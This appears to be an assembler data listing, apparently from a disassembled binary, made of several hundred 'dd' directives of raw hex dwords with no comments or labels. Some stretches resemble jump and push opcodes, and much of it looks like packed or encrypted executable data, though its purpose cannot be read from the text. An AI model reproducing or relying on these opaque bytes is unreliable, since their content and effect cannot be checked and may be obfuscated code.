		dd 60C7B70h, 0FBD473E9h, 7C4F68FFh, 69E9060Ch, 68FFFBD4h
		dd 60C7D3Eh, 0FBD45FE9h, 7DEB68FFh, 55E9060Ch, 68FFFBD4h
		dd 60C7F59h, 0FBD44BE9h, 84B468FFh, 41E9060Ch, 68FFFBD4h
		dd 60C85A1h, 0FBD437E9h, 93AB13FFh, 757FEED4h, 5563D0B6h
		dd 3147B096h, 0E228C72h, 0D8D6BF4Fh, 0B59B5A6Eh, 947A3949h
		dd 755B1A26h, 0AF39F80Ah, 0CF4C9907h, 59F2911Ch, 0D6E8538Eh
		dd 0CB18862Eh, 718B1060h, 2C127AF8h, 48F0AFC1h,	68E6F662h
		dd 0AC5478CBh, 1761FE3Eh, 69118A91h, 5D051983h,	95DA2EFh
		dd 51CF4885h, 0F05B41E9h, 0A1F260DEh, 9585095Dh, 8C9A07EDh
		dd 0E9DA780Eh, 0E0224719h, 8729h, 899C5E00h, 208EFAB7h
		dd 14FBD795h, 32866BACh, 3DE55EE2h, 0E863AE95h,	0DF8CD177h
		dd 0FE7C8EF9h, 1784A490h, 670F8891h, 9E061481h,	0D13FA725h
		dd 85096980h, 0D2407FEBh, 85096985h, 0D139B22Bh, 0CF3D82EBh
		dd 85096982h, 0CE36AF28h, 3597AB41h, 9FEC42D8h,	693C89F7h
		dd 6FDD8509h, 85096922h, 33AC4FC8h, 0B75D2DB5h,	0FE6DE023h
		dd 0C5000000h, 7562AF1Dh, 0F7C48509h, 991A33ECh, 161C03A6h
		dd 0E4C604E7h, 30FB79F2h, 0FF69E853h, 7162C17Dh, 9A139A0Dh
		dd 0D1DF4C32h, 9177DF58h, 856B1327h, 21319D18h,	459200A8h
		dd 0EB8B107Ah, 0A68CF472h, 3F51BC3Bh, 7486F1D7h, 0A11A930Ch
		dd 7BE99139h, 8B107A2Eh, 0F7DD5BD4h, 4DBB7A8Ch,	8B107EC7h
		dd 7A86F4DAh, 99AB16FCh, 4D7F0AF1h, 8CFDD44Bh, 0FE694F0Eh
		dd 44E784ECh, 7018C068h, 1106B502h, 64E25B8Bh, 1836D2F6h
		dd 0CF3B2191h, 5D6DD9BFh, 4C33CDFh, 40E8C467h, 138129D2h
		dd 660E878Bh, 5A021680h, 8EF60A74h, 0C42C3CA8h,	9554D24Bh
		dd 803145AFh, 957E2C67h, 0D9DAC42Ch, 0BD000014h, 987E3D55h
		dd 7A601F29h, 5A40FF0Dh, 361CDBF1h, 69F9B8CCh, 418822Ch
		dd 0E3F35F45h, 0C4D03E24h, 0A2B41F05h, 43B159E3h, 911CD0F6h
		dd 5338039Ch, 472DD5E9h, 904FCDD9h, 6E2D3FAAh, 25899CA3h
		dd 6E230F7Dh, 5F079117h, 953A4F1h, 34A24A85h, 850953E7h
		dd 229B148Dh, 52FB4CBAh, 59EF8509h, 4D36D8C5h, 0DB18E022h
		dd 70000000h, 62A59889h, 50BE3F03h, 85095303h, 39B730A9h
		dd 0D6E8536Eh, 0A1E886Eh, 65AE34A2h, 18838B10h,	0B61E2C99h
		dd 1F05C43Dh, 9D3AA2B4h, 374BB58Eh, 84A816BEh, 0D891178Ch
		dd 2003A05Fh, 2CA2EF5Dh, 6F048509h, 0D96A2B44h,	51CA43E6h
		dd 62813BA9h, 88018B12h, 0E75238E0h, 77157D5h, 54239685h
		dd 239E9544h, 5F9E85B3h, 8948C158h, 4BB839A3h, 0E35CD53Dh
		dd 7CAC2732h, 3A248C95h, 13ECh,	6B2A42AAh, 4D0C1685h, 2DECFA67h
		dd 9C8DE47h, 0E6A5B923h, 56F3F56h, 0E04C32F1h, 0BD2B11D0h
		dd 0A10CF2B1h, 9E46D08Fh, 1CD2E330h, 25F08991h,	2DD5E953h
		dd 3C88FE46h, 68D6AFA5h, 27BF45Ch, 74DFC584h, 6478C533h
		dd 0AB198B10h, 8B10645Eh, 2E88B04h, 920B8498h, 0E85308D3h
		dd 0D8472ED6h, 9FAF1BE6h, 9BD7BE37h, 87EF6D6Eh,	652436A1h
		dd 9C04127Fh, 7A394BB6h, 0CDB4D116h, 7A2FF4E3h,	0E380FED7h
		dd 0DF6DFE40h, 0F1C2971Dh, 3662D078h, 9A9117D7h, 0DC2C9A21h
		dd 837C93DEh, 5B5A6F9Ch, 66E4740Ch, 0AE567AC9h,	872E0440h
		dd 799C8393h, 9B3E6977h, 9811B432h, 0B3109F0h, 0BF28A9F9h
		dd 0E93CD941h, 0CC371DC5h, 0C36B52BAh, 0DB424FF0h, 670F8D06h
		dd 83289CF9h, 41E9628Dh, 3945B399h, 0FE1FEAD1h,	2A56AEABh
		dd 0E24D33B1h, 0D44228D0h, 0A58B4AC8h, 1277283Ah, 0BF97EBBEh
		dd 12EA6D57h, 44AC0000h, 18876D2Ch, 0FC694F0Eh,	0E0492FEEh
		dd 0BB250BCAh, 3D58E8A7h, 34F30771h, 13D2E24Eh,	0F4B3BF2Dh
		dd 0D291A30Eh, 0E532A048h, 8B911CD3h, 0E85327F2h, 1EC66ED6h
		dd 106063B0h, 1290098Bh, 52FAD675h, 177674E4h, 28E76091h
		dd 9257D742h, 7641F8A2h, 0D976DE57h, 50BE664Ah,	8B1578E8h
		dd 0BDA34BC4h, 9B814052h, 0EB61E30h, 0F523F527h, 684EF842h
		dd 0D471EFF9h, 47B55D71h, 850987BFh, 0D4BA62DBh, 6B81EA69h
		dd 0E24D33F2h, 18C068D0h, 0F0AC5DAAh, 0C8A0378h, 48F0DC6Fh
		dd 0F7DBEADAh, 0AC5DD67Eh, 89677E35h, 3DA892FAh, 59000012h
		dd 341AD9F1h, 16FCBBC5h, 0F6DC9BA9h, 0D2B8778Dh, 5955468h
		dd 0A0B41E90h, 7F8FFBE1h, 606CDAC0h, 3E50BBA1h,	0DF4DF57Fh
		dd 911CD492h, 53D49F38h, 7916D5E9h, 8F0D7AAh, 0C1FE9AA1h
		dd 4297E452h, 0C43D8B11h, 8D35A34Bh, 0E9911846h, 0B8600870h
		dd 0A3EFD4Ah, 53BDA385h, 6248C63Fh, 4026E5F7h, 0BE5BC3D5h
		dd 0B49B436Fh, 0A7168BF5h, 7EDAB69Dh, 3158066h,	0FCA4229Bh
		dd 5DC6AC54h, 0F866DF47h, 850A05ABh, 0EC5AD851h, 8B1109F0h
		dd 45137BF4h, 59C493AFh, 0FAE08847h, 63007E8Eh,	0D644ECC0h
		dd 850A052Eh, 0C169118Ah, 0FBFD0653h, 0B533AC78h, 0EAFC674Dh
		dd 0C35FF582h, 9A426EBDh, 301842Ch, 8BFAE07Fh, 63490881h
		dd 583EE6F8h, 0FB74DCECh, 56A7157Dh, 3472F50Ah,	0FB53A58Ch
		dd 0ADCB564Fh, 4FC83042h, 73C02ED6h, 1972F539h,	0B68C22A0h
		dd 6B2A3CA7h, 738FDCC3h, 0B2E8FBh, 1F319C82h, 0A7259177h
		dd 2108AE02h, 60DE57D9h, 3AA850F8h, 72F53AEDh, 76331A93h
		dd 0EBE19414h, 3114B12Fh, 0DF4DF59Dh, 72F4A692h, 9941BF38h
		dd 0FBA9E32Bh, 47067F78h, 9AA9C1E3h, 0B11F5CC9h, 6CEDA364h
		dd 0B018910Ah, 3016BE37h, 0D64FB7C1h, 0E242B058h, 0A972FA10h
		dd 0DE4658C3h, 0CB44E765h, 86F49C44h, 66E13539h, 2E866DFh
		dd 0AE1C8498h, 66E1355Dh, 0F69E3211h, 86D8B40Fh, 755B922Dh
		dd 0D57DFB07h, 0ECEFE767h, 0D27AF36Ch, 0B06F81ECh, 0A4B82208h
		dd 6FDDC33Ch, 482FB63h,	39A1B31Eh, 24D5E953h, 775215B3h
		dd 91261078h, 5000010h,	0E0C6859Dh, 0C2A86771h,	0A2884755h
		dd 7E642339h, 0B1410014h, 4C60CAE4h, 2B3BA78Dh,	0C18866Ch
		dd 0EAFC674Dh, 8BF9A12Bh
		dd 911CD53Eh, 53804BE4h, 0F63B67E9h, 5A4157C0h,	2E89210h
		dd 4F0E8795h, 84ECFE69h, 79C634DCh, 1F8B1100h, 4157C0A6h
		dd 0FCE260D9h, 0F1D77F91h, 8C980687h, 0CA32AB24h, 0F86BD351h
		dd 58706950h, 0BEE8D3FAh, 11190350h, 0B730A98Bh, 0C08FA339h
		dd 0FC844355h, 19DA076Ah, 1E43Ch, 0AB917100h, 4359C23Fh
		dd 81E962DBh, 23E189Ah,	0B84075Ch, 28A6BC25h, 5DC5D742h
		dd 218D0C77h, 0B3D8B7A3h, 0B12A7B9Eh, 9857D049h, 911628FBh
		dd 0D121718Ch, 9806AE27h, 91184558h, 7F95FEE4h,	0DF309E06h
		dd 0D3850A41h, 0C7DB452Bh, 4164B11Fh, 910A850Ah, 0F4A17D13h
		dd 0E0235B12h, 4934h, 0E9916900h, 10602E7Bh, 0DD5BD48Bh
		dd 19C1ED40h, 0A0208B71h, 9AAC26B6h, 0B69D16BDh, 0CE6B6E47h
		dd 0DE4CCAA4h, 91177CF2h, 87F55DD6h, 85096236h,	0C02832A1h
		dd 0F9616BDAh, 80220096h, 4B18D23h, 0E023BC62h,	0E044h
		dd 0E8537900h, 5FEC39A7h, 19928B10h, 0E85238A0h, 0DEC46CD4h
		dd 82FB6371h, 0A1B31E04h, 0A7E85339h, 105EEC39h, 0A019928Bh
		dd 0E45339E1h, 77F0026Dh, 1851280Fh, 5D458B59h,	72F866E4h
		dd 478B0FC3h, 4C9C5CDCh, 4CEB1C06h, 0C2904065h,	99128C6Eh
		dd 0C2EE3DDAh, 0E98B721Ah, 27EAB149h, 4682F06Eh, 0C5911A02h
		dd 93C1361Dh, 6D1B8BE1h, 676B2FFh, 98E55385h, 3E850676h
		dd 2BA922C5h, 0F835A288h, 6763D8Ah, 0F16AE385h,	0EF971089h
		dd 0CC8B9F09h, 0B7687CE6h, 9B847774h, 0C58F79E1h, 0D100000Eh
		dd 0AC925169h, 8E74333Dh, 6E541321h, 4A30EF05h,	7D0DCCE0h
		dd 182C9618h, 0F7077359h, 0D8E45238h, 0B6C83319h, 57C56DF7h
		dd 911CD70Ah, 534C17B0h, 3016D5E9h, 4CF4B3C5h, 5CE5DE65h
		dd 0AF2DFB53h, 41E991E4h, 106086D3h, 45B32C8Bh,	8B105FF8h
		dd 0C1A7259Eh, 0B69C4456h, 56BE3C48h, 4BF30570h, 83EBF765h
		dd 60206DDBh, 4DC68B10h, 0B19756D4h, 4D59C746h,	8BF36CE5h
		dd 0CB735FEEh, 177B215Dh, 5BB9A091h, 0A9257FE0h, 3C22C543h
		dd 755BC3CDh, 1790F80Ah, 7C66259Eh, 7DBh, 0D5E953B1h, 0C8DE472Dh
		dd 169E760h, 10604293h,	9805EB8Bh, 0A6DCBC1Ch, 9D1673AAh
		dd 0A03A87F5h, 67E08B10h, 0D5F94CE9h, 0E47BF2Dh, 963E911Dh
		dd 432DB28h, 8A088185h,	0E0C66EE7h, 0C7A6177h, 26ECB648h
		dd 0AE56FE7Ch, 5D4B9806h, 0AF18504h, 0A3DCC016h, 86047DC7h
		dd 642335A0h, 5901137Eh, 7BF90573h, 0AFC32D13h,	81CBC1FEh
		dd 10FA629Bh, 0DB4h, 0A3627AE2h, 85444EBDh, 6524329Fh
		dd 4100167Fh, 1EDDF15Bh, 3DA7078Eh, 18846A29h, 0F5634908h
		dd 0D9442AE9h, 0D67E08C7h, 1CD81B68h, 5D28C191h, 16D5E953h
		dd 4BB3C530h, 80E8FA65h, 0B31B319Ah, 0EA5260CDh, 496BC75Dh
		dd 91E240D6h, 47E03BAAh, 8B092C57h, 69283AA5h, 0DA3601E1h
		dd 162119h, 0CB560000h,	8B106AB4h, 0FD3C2E18h, 9F86FFFFh
		dd 1D18F622h, 2AF5735Ch, 0CD36AA91h, 7E7BE23Ch,	88419200h
		dd 56F58B10h, 158EA40Dh, 0F68FFF6Dh, 27B911Ch, 8909745Ah
		dd 0C59FA6DBh, 6DCFB5E5h, 4C3554EBh, 0CBB25AD3h, 8BDD6095h
		dd 28E76586h, 212B9A80h, 0DCC240B9h, 4FF75F71h,	87EFFB69h
		dd 3AD0270Eh, 179251D2h, 3549B399h, 81833584h, 0A892FA9Bh
		dd 0CDCh, 7B3A52BAh, 5D1C2695h,	3DFC0A77h, 19D8EE57h, 0F6B5C933h
		dd 157F2F66h, 0F05C4201h, 0CD3B21E0h, 0B11C02C1h, 0AE56E09Fh
		dd 1CD8F340h, 35009991h, 6ED6E853h, 0A30B1D88h,	0B9849A30h
		dd 0F57D3C4Eh, 19DABE15h, 1835h, 0B4CB6A00h, 0AB8B106Ah
		dd 19872F3Fh, 8B1056CCh, 9680F972h, 0FFFFFC72h,	25899CCBh
		dd 0B128977Dh, 52CB3347h, 45B35BD9h, 911792A5h,	681078F1h
		dd 0A689EC81h, 0E44E604Dh, 6BD957D0h, 8508B11Bh, 0EADB770Dh
		dd 0E022EB18h, 1C72Ah, 0AACB5F00h, 0B58B1060h, 0EBD13949h
		dd 8C056D81h, 351B9A13h, 13F9B8CAh, 0ACF967A8h,	528B1060h
		dd 8AF860D9h, 8B1060A1h, 9604AC54h, 8B105F49h, 8CD947EFh
		dd 328B105Fh, 2CC240B9h, 5DDC4716h, 0FE77DFF3h,	371EC685h
		dd 0BBF6D6D4h, 0B24FCD63h, 0EFD53D91h, 0E4CA7284h, 86FF6779h
		dd 0F8634908h, 94FC0E79h, 0CC3AA21Bh, 8B1031EBh, 0E8D569FFh
		dd 0E6256B06h, 14F28h, 0AB915D00h, 0CAB02E40h, 63B01E5Fh
		dd 98B1060h, 0C76F1790h, 10600C59h, 0BB39B28Bh,	0CAC4AB53h
		dd 828F0881h, 616DDBC1h, 1C0280F9h, 43E09FB1h, 0B624CCE0h
		dd 91180476h, 2BAE17FDh, 0CF48B0BEh, 0BC35D856h, 95E654h
		dd 0F389850Ah, 1A9C6E5Fh, 39AEE023h, 0E3000000h, 2E7BE991h
		dd 0D48B1060h, 0F97282EEh, 634FDE7Bh, 0C42D13BBh, 0D6C230AEh
		dd 0BA91176Dh, 1A6BD941h, 0E850953h, 0E3C9DA78h, 87006876h
		dd 4DE18109h, 0B3C1E022h, 0F6000000h, 6ED6E853h, 4717DFC6h
		dd 2C131D8Ch, 3EBCDD44h, 72DAEE58h, 72E0218Ch, 8B10B625h
		dd 71D952CBh, 6876E3C9h, 879904EAh, 0CE5C5AC8h,	795F8B10h
		dd 1B94FC0Eh, 9DB80573h, 0E55E8B10h, 4168167h, 2985A845h
		dd 1F2F9B81h, 4F8BF9A1h, 0CE911A45h, 0EF6D7BE8h, 452BD34Ch
		dd 0E1EB5ADBh, 59C3A968h, 0F5EB9445h, 78E09B84h, 0AD38Eh
		dd 435BC300h, 252F9E84h, 5138066h, 0E1F76046h, 0BED23C22h
		dd 88266FFFh, 654B0A1Eh, 442AE9F9h, 250BCAD6h, 5FE9A8BAh
		dd 0DAFC49B7h, 9A2911Ch, 67E9533Eh, 8D27BFA3h, 0C382FB29h
		dd 0B86072DDh, 0D95765D2h, 0E8534F1Ah, 1D886ED6h, 34624C0Bh
		dd 97000004h, 4BDA74D5h, 3117BF67h, 0C634B2C8h,	911CCE67h
		dd 201E452Ch, 0A99DCF5Ch, 880F882Bh, 0CC7458EBh, 0B25B65Eh
		dd 0B8270D8Bh, 4FCD46AEh, 5DCB33ACh, 7EFCC60Ch,	0E7D46A00h
		dd 0EA36DC07h, 0D4DE5940h, 0D72CE44h, 991790A2h, 3ADD8h
		dd 0E5493000h, 37BB2DC2h, 5C4B9806h, 78F17EFDh,	118E18FFh
		dd 5DB45374h, 7ACB14DFh, 5D8B1060h, 8B10601Bh, 4652C0A6h
		dd 0B4182BC8h, 641A9E0Ch, 0B52E9117h, 875D6904h, 0BCA60E9Bh
		dd 9F4h, 63223AA2h, 45040E7Dh, 25E4F25Fh, 1C0D63Fh, 0DE9DB11Bh
		dd 0FD67474Eh, 0D8442AE9h, 0B52309C8h, 9904EAA9h, 963EC887h
		dd 1CDCDB28h, 1DE88191h, 6ED6E853h, 63B01EC6h, 0C68B1060h
		dd 68E1495Bh, 31CE4CC5h, 0D2E85112h, 606FBC2Ah,	9C158B10h
		dd 0B10D7B23h, 70911CCEh, 900E1E8Ah, 2F9D45EDh,	8503F2E2h
		dd 54A10F88h, 0FA8503F2h, 4CC49A81h, 26AAAAAEh,	0F251EEADh
		dd 0F5055D70h, 0F56EE562h, 0A87DF4Dh, 0CA438B10h, 0C0D03C22h
		dd 2F6A9301h, 72CE7EF7h, 9EF9756h, 0A4AE1DA0h, 0CC4AC32Bh
		dd 0C26A7AE6h, 0E26070DCh, 1729947Ah, 0B42107AFh, 47C53EA6h
		dd 8F379BAAh, 2D2C79E7h, 5FCD7EF7h, 7EF72D12h, 239C3FB8h
		dd 6F55FDA5h, 0A1A8603h, 2D41AB91h, 60CE4CC5h, 84FE416Ch
		dd 0FE0E7A60h, 0F3A41D96h, 8F6E193Eh, 5A18BF3h,	91000009h
		dd 6C521129h, 4E34F3FDh, 2E14D3E1h, 0AF0AFC5h, 3DCD8CA0h
		dd 0D8EC5658h, 0B7C73319h, 98A412F8h, 7688F3D9h, 17852DB7h
		dd 911CDDCAh, 9C0CD770h, 977D2589h, 0F29A182Eh,	1CCE2C84h
		dd 1801E891h, 56A311CAh, 0FC850448h, 0F5B69C83h, 0BF19912h
		dd 3FE78F9Fh, 72DAF059h, 1C3E8BF9h, 6BE48504h, 0DC482EEDh
		dd 14BC64CCh, 41C59A6h,	886FF85h, 4CF4D86Bh, 108A82DEh
		dd 65CD468Bh, 5C6AD7BDh, 60FD7BF4h, 9139E1CDh, 0C8303EABh
		dd 9B63D14Fh, 3784FEE0h, 7BD4218Fh, 17A78F0h
		dd 249DB11Bh, 6E7BEC73h, 0FF9618Fh, 858h, 0FFBED63Eh, 0E1A0AA19h
		dd 0C1808EFBh, 9D5C72DBh, 7A394DB7h, 9903ABEAh,	74E0C685h
		dd 51BFA564h, 35A08645h, 32DA6423h, 1CDD77C4h, 0B9841D91h
		dd 6ED6E853h, 0A30B1D88h, 0B9849A30h, 0D57D3C4Eh, 0EB3F57EEh
		dd 0D8BE695h, 0DA77E585h, 180C519h, 751D0000h, 1135BA07h
		dd 69E7608Bh, 69E8539Eh, 0D48A7FFDh, 5685B240h,	16FC64DDh
		dd 3DDA99ABh, 0D8EA55EEh, 949B75Fh, 9591177Eh, 250CB41Ch
		dd 92F488F6h, 23CE3012h, 0F09108E4h, 3A8BF977h,	2E8509F3h
		dd 7909BA98h, 62E02329h, 7F5FD37Bh, 0F5732955h,	5034h
		dd 899C6900h, 230F7D25h, 791176Eh, 0D67E268Eh, 24AB8EEFh
		dd 8AF80F90h, 8508833Dh, 80CD3BE3h, 26850883h, 48B634ADh
		dd 850882F7h, 7BE3F962h, 341A2895h, 0D01D8BC6h,	76850883h
		dd 0B91C84FDh, 50AD0F23h, 573764BAh, 77E0229Dh,	0B4h, 42AB91ACh
		dd 5DC8AE2Ch, 0FA6272DEh, 6097E452h, 0C43D8B10h, 0EBF7654Bh
		dd 29910A83h, 5DC5D943h, 0FE8C0C77h, 5FDDCCF9h,	0D4BA229Bh
		dd 6DBA2869h, 138B1132h, 0F462219Ah, 8B114EDEh,	975668D3h
		dd 0DF872BFAh, 1ABE3571h, 9840B991h, 8DDA48F0h,	3385076Eh
		dd 57A412BAh, 0FD85076Eh, 0B6200684h, 53BBC735h, 0BCA261DAh
		dd 0C8D3E52h, 0B59B856Fh, 6EA634Dh, 44AC0000h, 18876D2Ch
		dd 0FC694F0Eh, 0E0492FEEh, 0BB250BCAh, 3D58E8A7h, 34F30771h
		dd 13D2E24Eh, 0F4B3BF2Dh, 0D291A30Eh, 0E532A048h, 8B911CDFh
		dd 0E95327F2h, 86EEFA68h, 0EFD5940Dh, 0E8B37284h, 6ED6E853h
		dd 0F168DFC6h, 716897DAh, 23A20DF3h, 593FA7B7h,	0FF78E0EAh
		dd 7F650D86h, 0C5840214h, 3ADBh, 0AB911000h, 4AAE2C42h
		dd 0A30F1E1Ah, 0CE2F8DFBh, 7EF7911Ch, 0EB9493F7h, 0F288D543h
		dd 0B52E8503h, 278B9A37h, 60B4117Fh, 0D27A8B10h, 0F7841764h
		dd 0CB44BD7Eh, 455A44h,	9C8F0000h, 0D14AB889h, 71D95268h
		dd 69D77FF8h, 91176321h, 0F49C44BDh, 95D3986h, 0E866DF85h
		dd 4DC01280h, 1AB08509h, 0FA38204h, 0FFD8BF67h,	6E7163D8h
		dd 236BD957h, 0BF8B1118h, 0E65F6BD9h, 0F73D27h,	9C720000h
		dd 967D2589h, 2419261h,	8028A6A2h, 2297F1D8h, 4317372Bh
		dd 0EAD12927h, 0E8C2C94h, 1CD340A0h, 0F8930C91h, 891F9594h
		dd 0D240E8B5h, 8503F785h, 0AC34B22Bh, 0E02929DAh, 47B55D05h
		dd 850402FAh, 6CB927A0h, 0CE850403h, 197ADC28h,	138C2F62h
		dd 73D495h, 462C0000h, 834ECCD8h, 92B7899Ch, 3C89F70Fh
		dd 0E28B1072h, 49168269h, 0E64E64CDh, 0BD0DF46Dh, 90168D9Bh
		dd 0C331D952h, 911D7064h, 0B61AB52Eh, 97AB41B7h, 0A4B42006h
		dd 8ACC9E26h, 32DEE02Eh, 13000000h, 32B4AA91h, 5E4551BFh
		dd 24A28DC6h, 6008A487h, 1CF294F2h, 48E35C91h, 0D96FE5E4h
		dd 0CB65845h, 3698E029h, 0F0000000h, 189B5209h,	0D654F804h
		dd 0E6AA910Bh, 70BD2BCFh, 168B1132h, 8707B69Dh,	3683F199h
		dd 0DC8B108Ch, 0BE77E563h, 668B10A5h, 5D6BD8BEh, 14FE7CF5h
		dd 0FFFFFEC7h, 41AB9149h, 664CC52Dh, 0D26FEDF7h, 7686F273h
		dd 741C950Eh, 69B624CCh, 0F8B1060h, 3444B096h, 67D553CCh
		dd 911CCF37h, 25C22AA3h, 9402AA06h, 8B105F37h, 7F1C84FDh
		dd 0EA5800ACh, 8503F162h, 775D057Eh, 0A23FFE08h, 0DF872F83h
		dd 0EB152471h, 0A951CA78h, 0EB14EE3Bh, 9D1B9478h, 835787F5h
		dd 4AC37EF7h, 0BDDABBA2h, 248C9E09h, 8B9C4ABh, 0FA1450F9h
		dd 33ACC094h, 0B9270DB5h, 6480EEADh, 0A30B05FCh, 0C5434FBDh
		dd 44F474DFh, 3B99DEABh, 593FFE77h, 5DC7ADEEh, 0FA68E149h
		dd 0DAB948ADh, 0F961DA53h, 0E78C95Ch, 0A01992FAh, 4C8E8AF8h
		dd 0E58DE0C0h, 0F985BFEh, 0F6641924h, 0D4B169A9h, 0B558D64Fh
		dd 7006D43Ch, 981883D2h, 1B894068h, 0D4B1D3CEh,	9E14FB74h
		dd 0B271EA11h, 0EA525ECCh, 238B9504h, 550EE84h,	0E6CC8B97h
		dd 5C046C78h, 7AF80C76h, 0AD431516h, 0AD1D0491h, 90B69D57h
		dd 40AE9412h, 3DA68C34h, 0C846BF27h, 879C3E09h,	603986F4h
		dd 66DF8B10h, 0F25F45EDh, 18FE66E4h, 0A6339BADh, 0D76C3210h
		dd 0E34E34F3h, 0D2D236D1h, 77C65CF2h, 0AA52FA0Ch, 105FEF3Ch
		dd 0D6E6528Bh, 0D952F56Eh, 452CD45Bh, 67D54B96h, 937AF35Bh
		dd 7CFA12AEh, 0B51D2796h, 0ADB9270Dh, 174C12Fh,	59EF8B10h
		dd 930B7AC5h, 979771BBh, 0B170E967h, 372A2209h,	0FF0DCA20h
		dd 10044491h, 0F871EA8Bh, 1A26947Ah, 36230AB2h,	4D5E3457h
		dd 0AEFE6CEAh, 928B1045h, 5A9704EAh, 10459FECh,	53CC458Bh
		dd 44F03DABh, 1D968B10h, 2A35099Fh, 83F1B0BCh, 8B1062F2h
		dd 53BCA24Ah, 5437BF3Dh, 91E6257Dh, 4EA703AAh, 105D93E0h
		dd 0D9C0398Bh, 684C7ACh, 0FFFF3945h, 4EB79DFFh,	661F1CCAh
		dd 0B7301B40h, 8D58D64Fh, 17D6E853h, 19B4C631h,	1987C833h
		dd 8B1060CCh, 0E580F972h, 14BC640Ch, 106059A6h,	1886FF8Bh
		dd 8B1060CBh, 12B5BF2Eh, 0A9851B99h, 4BB4339Eh,	0AD35BC35h
		dd 19DABEDDh, 4BEDh, 899C2200h,	0B20F7D25h, 78911CCEh
		dd 41AF57FFh, 8503F1F4h, 8A3219Ah, 36CCA4A4h, 1BB79618h
		dd 60A80573h, 876E8B10h, 0FE67C3A3h, 5AB8414h, 0D761B67h
		dd 0EC941B94h, 0E4F05E44h, 4895037Ch, 0EE7EF80Eh, 2C0DF775h
		dd 42000000h, 7D25899Ch, 1CCEB20Fh, 64FF7891h, 0D56B5300h
		dd 0B8143779h, 6045A210h, 920B8B10h, 127D630Bh,	841663D1h
		dd 43BC7EF7h, 53814CCAh, 0C66ED6E8h, 0E86672E0h, 0C6859702h
		dd 0BBCD381Eh, 0F28DA03Dh, 10603784h, 0EB64DD8Bh, 6295D543h
		dd 0A8219117h, 5E81D240h, 0DF758509h, 0DF4C3243h, 6D81EBD1h
		dd 448767EFh, 27A7E022h, 0DC000000h, 7D25899Ch,	176E230Fh
		dd 268E0791h, 1E2A987Eh, 51BF3DB6h, 85095300h, 0D3C05EF4h
		dd 0E0224D33h, 0C113h, 0E8534800h, 1E886ED6h, 51BCA20Ah
		dd 0A82B0D1h, 7FF8F1C0h, 0E1C76F17h, 84FD6575h,	1092C916h
		dd 78F66F8Bh, 56152792h, 0B0D6C7AEh, 0C0C5681Ch, 0D44ED442h
		dd 0B8238B10h, 9601E7A6h, 0AC7F1C84h, 42EA5800h, 9E9117EEh
		dd 0D8BE6625h, 44E15F69h, 0B725CDE1h, 8B135275h, 9DEA5800h
		dd 437EFFFCh, 0C2A94CCAh, 5B624B28h, 24CC457Ch,	18C0D43Eh
		dd 0D0B6C632h, 73EC5464h, 0E65036F5h, 888E21D2h, 9B03957Dh
		dd 18FB1h, 879F0700h, 6973E2C8h, 4957C4AAh, 253BA48Ah
		dd 2168066h, 0CCE2B343h, 0A98F4E62h, 886E2D3Dh,	694F0E1Ah
		dd 0A32DECFEh, 0E4408DFBh, 4DE6911Ch, 0D5E95382h, 0B3C53016h
		dd 899C29F4h, 230F7D25h, 791176Eh, 987E268Eh, 39B21A2Eh
		dd 52FC4DBBh, 5AF08509h, 4D37D7C4h, 0D217E022h,	4C000000h
		dd 6ED6E853h, 6375E0C6h, 1E0482FBh, 0B60371B4h,	5C8B1060h
		dd 80CD3BE3h, 268B1060h, 5ECC34ADh, 8B1064D8h, 713042ADh
		dd 0DEA0208Bh, 5B67D57Eh, 65937AF3h, 0CA32AB9Fh, 0AB21E2Dh
		dd 0B17F7B62h, 35C3BB2Bh, 58D6E04Fh, 16E242EAh,	0DAB79E91h
		dd 82980137h, 0DFBAA11Ah, 90A00C28h, 0BD36AF28h, 0EEC261FEh
		dd 7E815F46h, 0C749C1F1h, 13F9A149h, 0AA1896A8h, 8B127309h
		dd 5036DE57h, 2D13D2E6h, 71FEAFC3h, 32957D24h, 0A2E0CAh
		dd 8CF40000h, 60CFB574h, 44B19756h, 28917736h, 36D5312h
		dd 0F5A030EFh, 7C3B4FB9h, 5B1A2A96h, 3CFB0775h,	1AD9EB56h
		dd 2D7AE890h, 0D3911CE5h, 0E9916F3Ah, 10602E7Bh, 0DD5BD48Bh
		dd 0BA798DF7h, 985769D4h, 0D6E853CDh, 0B1D886Eh, 0E9FB664Ch
		dd 0C7D9442Ah, 9FD2F15Fh, 9C3207B1h, 3A4CB786h,	182A957Bh
		dd 4B61CAB0h, 144FBDA3h, 6F2159A6h, 0D86FF0Eh, 16842CA5h
		dd 0E6F21C9h, 1078F66Fh, 596AC42h, 0E9B5765Dh, 8B90BD55h
		dd 6E83D01Dh, 7FFD760Eh, 5D1C2E99h, 92FA0C77h, 3A8h, 0F4BFDD00h
		dd 6BD3EB53h, 0A0081A85h, 0D8404CBAh, 0E7686F2h, 42AABE28h
		dd 76DEF25Ch, 0A9112790h, 0E04856C3h, 19818BFAh, 0E18951B3h
		dd 4C181h, 0E9830000h, 240C8704h, 6824248Bh, 5F65h, 68243489h
		dd 4C7Dh, 0BE241489h, 532F7F6Eh, 0B850E6D1h, 0A0528F1Ch
		dd 8158C629h, 4ECh, 24248900h, 4240483h, 4EC835Ah, 81243489h
		dd 290D2434h, 428F3588h, 8728108h, 3588290Dh, 5224148Bh
		dd 0C281E289h, 4, 4C281h, 14870000h, 34FF5C24h,	0C4815E24h
		dd 4, 0FBBD13E9h, 0A42D83FFh, 0D25A0556h, 2C8061B3h, 8668B875h
		dd 0C503060Ch, 0CC73E0FFh, 4AF81FF0h, 0BE9F0C5Ch, 59EF5A58h
		dd 0C96F4860h, 0E8CE1683h, 0FB185730h, 9A1B7C2Ch, 2A80676h
		dd 67562EB4h, 5A211E5Ch, 18E427BCh, 482D57D3h, 0CF6F6C90h
		dd 3A1C3197h, 0C8E90DC3h, 88000001h, 7 dup(88004188h)
		dd 4188h, 4 dup(0)
		dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
		dd 888888h, 0
		dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
		dd 3C98802h, 88001002h,	88001188h, 11888888h, 44111111h
		dd 16h,	880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
		dd 88080888h, 888888h, 0
		dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
		dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
		dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
		dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
		dd 88888888h, 26088888h, 643E362Eh, 0F0676665h,	0F3F2h
		dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
		dd 1000000h, 14h dup(0)
